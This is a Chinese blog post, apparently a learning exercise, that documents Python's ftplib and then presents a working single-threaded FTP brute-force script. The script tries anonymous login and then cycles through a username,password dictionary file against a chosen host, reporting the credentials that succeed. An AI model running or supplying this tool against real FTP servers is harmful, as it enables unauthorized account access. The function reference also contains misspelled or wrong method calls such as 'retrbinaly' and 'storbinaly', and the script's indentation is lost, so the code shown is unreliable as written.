ftp爆破脚本编写

要写个ftp爆破的脚本,先学习下ftplib库吧。
官方文档:https://docs.python.org/3/library/ftplib.html

部分函数释义

1
2
3
4
5
6
7
8
9
10
11
12
13
import ftplib      # 加载ftp模块
ftp = ftplib.FTP() # 获取FTP对象
ftp.set_debuglevel(2) # 打开调试级别2,显示详细信息
ftp.connect('IP', PORT) # 连接ftp,server和端口
ftp.login('user', 'password') # 登录用户
print(ftp.getwelcome()) # 打印欢迎信息
ftp.cmd('xxx/xxx') # 进入远程目录
bufsize = 1024 # 设置缓存区大小
filename='filename.txt' # 需要下载的文件
file_handle=open(filename, 'wb').write # 以写的模式在本地打开文件
file.retrbinaly('RETR filename.txt', file_handle,bufsize) # 接收服务器上文件并写入本地文件
ftp.set_debuglevel(0) # 关闭调试模式
ftp.quit # 退出ftp

ftp相关的命令操作

1
2
3
4
5
6
7
8
9
10
ftp.cwd(pathname)           # 设置FTP当前操作的路径
ftp.dir() # 显示目录下所有目录的信息
ftp.nlst() # 获取目录下的文件
ftp.mkd(pathname) # 新建远程目录
ftp.rmd(dirname) # 删除远程目录
ftp.pwd() # 返回当前所在位置
ftp.delete(filename) # 删除远程文件
ftp.rename(fromname, toname) #将fromname改为toname
ftp.storbinaly('STOR filename.txt',file_handel,bufsize) # 上传目标文件
ftp.retrbinary('RETR filename.txt',file_handel,bufsize) # 下载FTP文件

暂时写了个尚未完善的单线程爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-

import ftplib

def usage():
print('python ftp爆破工具')
print('code by d0ggy')
def anonLogin(host):
try:
ftp=ftplib.FTP()
ftp.connect(host,port)
ftp.login()
ftp.retrlines('LIST')
print(ftp.getwelcome())
print('\n'+host+' FTP Anonymous Login Succeeded!')
ftp.quit()
return True
except Exception as e:
print('\n'+str(host)+' FTP Anonymous Login Failed!')
return False


def bruteftp(host,file,port):
f=open(file,'r')
lines=f.readlines()
for line in lines:
user=line.split(",")[0]
passwd=line.split(",")[1].strip("\n")
print('Trying: '+user+':'+passwd)
try:
ftp=ftplib.FTP()
ftp.connect(host,port)
ftp.login(user,passwd)
ftp.retrlines('LIST')
print(ftp.getwelcome())
print('\n'+host +'Succeeded!')
ftp.quit()
return(user,passwd)
except Exception as e:
pass
print('\n Could not brute force FTP!')
return(None,None)

if __name__ == '__main__':
usage()
host = input("请输入ftp地址:")
port = int(input("请输入端口号:"))
if anonLogin(host):
pass
else:
a=bruteftp(host,"dict.txt",port)
print("User:%s Password:%s"%a)

运行截图:

upload successful
多线程